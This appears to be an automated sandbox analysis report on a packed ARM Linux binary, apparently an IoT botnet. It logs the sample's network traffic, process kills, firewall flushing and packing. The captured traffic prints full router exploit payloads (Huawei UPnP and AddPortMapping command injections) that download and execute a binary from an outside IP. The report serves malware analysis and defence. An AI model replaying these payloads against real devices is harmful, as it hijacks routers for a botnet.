3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: unknown	TCP traffic detected without corresponding DNS query: 197.27.35.12
Source: unknown	TCP traffic detected without corresponding DNS query: 156.206.45.17
Source: unknown	TCP traffic detected without corresponding DNS query: 41.223.38.12
Source: unknown	TCP traffic detected without corresponding DNS query: 197.103.171.13
Source: unknown	TCP traffic detected without corresponding DNS query: 156.106.106.123
Source: unknown	TCP traffic detected without corresponding DNS query: 156.56.62.32
Source: unknown	TCP traffic detected without corresponding DNS query: 197.148.150.72
Source: unknown	TCP traffic detected without corresponding DNS query: 156.85.150.89
Source: unknown	TCP traffic detected without corresponding DNS query: 156.158.36.3
Source: unknown	TCP traffic detected without corresponding DNS query: 197.33.236.165
Source: unknown	TCP traffic detected without corresponding DNS query: 156.6.117.221
Source: unknown	TCP traffic detected without corresponding DNS query: 41.213.70.88
Source: unknown	TCP traffic detected without corresponding DNS query: 197.207.114.50
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.202.144
Source: unknown	TCP traffic detected without corresponding DNS query: 156.44.151.171
Source: unknown	TCP traffic detected without corresponding DNS query: 197.57.109.100
Source: unknown	TCP traffic detected without corresponding DNS query: 156.140.26.188
Source: unknown	TCP traffic detected without corresponding DNS query: 197.60.153.1
Source: unknown	TCP traffic detected without corresponding DNS query: 156.246.44.139
Source: unknown	TCP traffic detected without corresponding DNS query: 197.26.196.153
Source: unknown	TCP traffic detected without corresponding DNS query: 41.6.66.211
Source: unknown	TCP traffic detected without corresponding DNS query: 41.95.96.83
Source: unknown	TCP traffic detected without corresponding DNS query: 156.216.219.44
Source: unknown	TCP traffic detected without corresponding DNS query: 41.229.33.193
Source: unknown	TCP traffic detected without corresponding DNS query: 197.71.118.104
Source: unknown	TCP traffic detected without corresponding DNS query: 41.231.138.107
Source: unknown	TCP traffic detected without corresponding DNS query: 41.214.230.97
Source: unknown	TCP traffic detected without corresponding DNS query: 197.76.34.188
Source: unknown	TCP traffic detected without corresponding DNS query: 156.191.121.146
Source: unknown	TCP traffic detected without corresponding DNS query: 197.141.199.13
Source: unknown	TCP traffic detected without corresponding DNS query: 41.239.199.243
Source: unknown	TCP traffic detected without corresponding DNS query: 41.164.189.192
Source: unknown	TCP traffic detected without corresponding DNS query: 156.55.170.229
Source: unknown	TCP traffic detected without corresponding DNS query: 197.197.25.80
Source: unknown	TCP traffic detected without corresponding DNS query: 41.41.41.23
Source: unknown	TCP traffic detected without corresponding DNS query: 197.186.193.155
Source: unknown	TCP traffic detected without corresponding DNS query: 41.150.131.120
Source: unknown	TCP traffic detected without corresponding DNS query: 41.20.36.229
Source: unknown	TCP traffic detected without corresponding DNS query: 41.224.88.73
Source: unknown	TCP traffic detected without corresponding DNS query: 156.96.137.169
Source: unknown	TCP traffic detected without corresponding DNS query: 41.93.81.214
Source: unknown	TCP traffic detected without corresponding DNS query: 41.39.37.132
Source: unknown	TCP traffic detected without corresponding DNS query: 156.116.228.254
Source: unknown	TCP traffic detected without corresponding DNS query: 197.75.39.78
Source: unknown	TCP traffic detected without corresponding DNS query: 156.142.7.180
Source: unknown	TCP traffic detected without corresponding DNS query: 197.166.28.247
Source: unknown	TCP traffic detected without corresponding DNS query: 197.55.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 197.236.107.244
Source: unknown	TCP traffic detected without corresponding DNS query: 197.134.150.205
Source: unknown	TCP traffic detected without corresponding DNS query: 197.75.45.63

Source: arm7, 5234.1.00000000f6abff04.000000008642ee32.r-x.sdmp	String found in binary or memory: http://23.94.186.250/..23091t/mips;
Source: arm7, 5234.1.00000000f6abff04.000000008642ee32.r-x.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: arm7, 5234.1.00000000f6abff04.000000008642ee32.r-x.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding//%22%3E
Source: arm7, 5234.1.00000000f6abff04.000000008642ee32.r-x.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: arm7, 5234.1.00000000f6abff04.000000008642ee32.r-x.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope//
Source: arm7	String found in binary or memory: http://upx.sf.net

Source: unknown

HTTP traffic detected: POST /picsdesc.xml HTTP/1.1Content-Length: 630Accept-Encoding: gzip, deflateSOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMappingAccept: /User-Agent: Hello-WorldConnection: keep-aliveData Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 2f 25 32 32 25 33 45 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 30 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 63 64 20 2f 76 61 72 2f 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 63 68 6d 6f 64 20 2b 78 20 6d 69 70 73 3b 20 2e 2f 6d 69 70 73 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding//%22%3E<s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://23.94.186.250/..23091t/mips; chmod +x mips; ./mips</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Source: unknown

DNS traffic detected: queries for: daisy.ubuntu.com

System Summary:

Sample tries to kill many processes (SIGKILL)

Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 658, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 720, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 759, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 772, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 789, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 800, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 904, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 1320, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 1334, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 1335, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 1389, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 1809, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 1872, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 1888, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 1983, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 2048, result: successful	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	SIGKILL sent: pid: 2258, result: successful	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	SIGKILL sent: pid: 4486, result: no such process	Jump to behavior

Sample contains only a LOAD segment without any section mappings

Source: LOAD without section mappings

Program segment: 0x8000

Yara signature match

Source: arm7, type: SAMPLE

Matched rule: SUSP_ELF_LNX_UPX_Compressed_File date = 2018-12-12, author = Florian Roth, description = Detects a suspicious ELF binary with UPX compression, reference = Internal Research, score = 038ff8b2fef16f8ee9d70e6c219c5f380afe1a21761791e8cbda21fa4d09fdb4

Sample tries to kill a process (SIGKILL)

Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 658, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 720, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 759, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 772, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 789, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 800, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 904, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 1320, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 1334, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 1335, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 1389, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 1809, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 1872, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 1888, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 1983, result: successful	Jump to behavior
Source: /tmp/arm7 (PID: 5249)	SIGKILL sent: pid: 2048, result: successful	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	SIGKILL sent: pid: 2258, result: successful	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	SIGKILL sent: pid: 4486, result: no such process	Jump to behavior

Source: arm7

Joe Sandbox Cloud Basic: Detection: clean Score: 0

Perma Link

Source: classification engine

Classification label: mal100.spre.troj.evad.lin@0/9@2/0

Data Obfuscation:

Sample is packed with UPX

Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Id: UPX 3.94 Copyright (C) 1996-2017 the UPX Team. All Rights Reserved. $

Persistence and Installation Behavior:

Deletes all firewall rules

Source: /bin/sh (PID: 5277)

Args: iptables -F

Jump to behavior

Sample reads /proc/mounts (often used for finding a writable filesystem)

Source: /bin/fusermount (PID: 5456)

File: /proc/5456/mounts

Jump to behavior

Executes the "kill" or "pkill" command typically used to terminate processes

Source: /bin/sh (PID: 5284)	Pkill executable: /usr/bin/pkill -> pkill -9 busybox	Jump to behavior
Source: /bin/sh (PID: 5289)	Pkill executable: /usr/bin/pkill -> pkill -9 perl	Jump to behavior
Source: /bin/sh (PID: 5294)	Pkill executable: /usr/bin/pkill -> pkill -9 python	Jump to behavior
Source: /usr/share/gdm/generate-config (PID: 5446)	Pkill executable: /usr/bin/pkill -> pkill --signal HUP --uid gdm dconf-service	Jump to behavior
Source: /usr/share/gdm/generate-config (PID: 5568)	Pkill executable: /usr/bin/pkill -> pkill --signal HUP --uid gdm dconf-service	Jump to behavior

Executes the "grep" command used to find patterns in files or piped streams

Source: /bin/sh (PID: 5430)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nvidia[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf	Jump to behavior
Source: /bin/sh (PID: 5432)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nvidia[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf	Jump to behavior
Source: /bin/sh (PID: 5434)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.radeon[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf	Jump to behavior
Source: /bin/sh (PID: 5436)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.radeon[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf	Jump to behavior
